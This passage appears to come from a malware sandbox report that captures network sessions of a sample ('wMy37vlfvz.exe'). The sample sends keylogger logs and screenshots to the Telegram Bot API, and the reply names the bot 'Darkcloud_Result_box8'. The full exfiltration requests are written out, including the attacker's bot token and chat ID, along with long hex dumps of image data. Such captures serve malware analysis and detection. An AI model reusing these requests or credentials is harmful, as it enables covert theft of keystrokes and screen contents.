2024-11-25 12:40:39 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:40:39 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:40:39 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:40:39 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:40:39 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:40:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:40:44 GMT Content-Type: application/json Content-Length: 600 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49917	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:40:46 UTC	558	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 568 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:40:46 UTC	568	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 58 41 62 74 6b 62 56 43 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 37 3a 34 30 3a 33 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 34 30 3a 33 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 34 30 3a 33 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataXAbtkbVC.txt"Content-Type: application/octet-stream[07:40:35]<<Program Manager>>[07:40:35]<<Program Manager>>[07:40:35]<<Program Mana
2024-11-25 12:40:47 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:40:46 GMT Content-Type: application/json Content-Length: 595 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:40:47 UTC	595	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 35 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 35 30 36 38 30 31 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 31 31 35 38 35 30 36 38 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 68 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 52 77 65 62 63 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":2536,"from":{"id":8165068013,"is_bot":true,"first_name":"Darkcloud_Result_box8","username":"Darkcloud_Result_box8_Bot"},"chat":{"id":6115850689,"first_name":"Chi","last_name":"Boy","username":"HRwebc","type":"private"},"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49927	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:40:50 UTC	562	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:40:50 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 79 61 4a 77 41 6a 51 73 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotyaJwAjQs.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:40:50 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:40:50 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:40:50 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:40:50 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:40:50 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:40:50 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:40:50 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:40:50 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:40:50 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:40:56 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:40:56 GMT Content-Type: application/json Content-Length: 600 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49945	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:40:57 UTC	558	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 568 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:40:57 UTC	568	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 51 42 6f 4b 58 4d 57 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 37 3a 34 30 3a 34 36 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 34 30 3a 34 36 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 34 30 3a 34 36 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: 